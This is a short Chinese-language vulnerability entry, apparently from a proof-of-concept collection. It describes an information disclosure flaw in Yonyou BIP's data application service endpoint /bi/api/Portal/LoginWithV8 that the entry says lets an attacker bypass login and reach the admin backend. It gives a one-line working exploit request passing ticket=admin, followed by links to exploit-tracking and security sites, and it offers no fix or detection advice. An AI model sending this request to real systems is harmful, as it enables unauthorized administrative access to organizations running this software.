Description
用友BIP数据应用服务存在一个信息泄露漏洞，攻击者可以通过特制请求获取敏感信息，达到登录绕过，直接进入后台的目的。
用友BIP数据应用服务 /bi/api/Portal/LoginWithV8 信息泄露漏洞
PoC
GET /bi/api/Portal/LoginWithV8/?ticket=admin HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://www.gm7.org/archives/41188
https://cn-sec.com/archives/4796916.html
https://security.zone.ci/secarticles/wx/498513.html
https://zone.ci/secarticles/wx/489116.html
https://www.ddpoc.com/DVB-2025-10340.html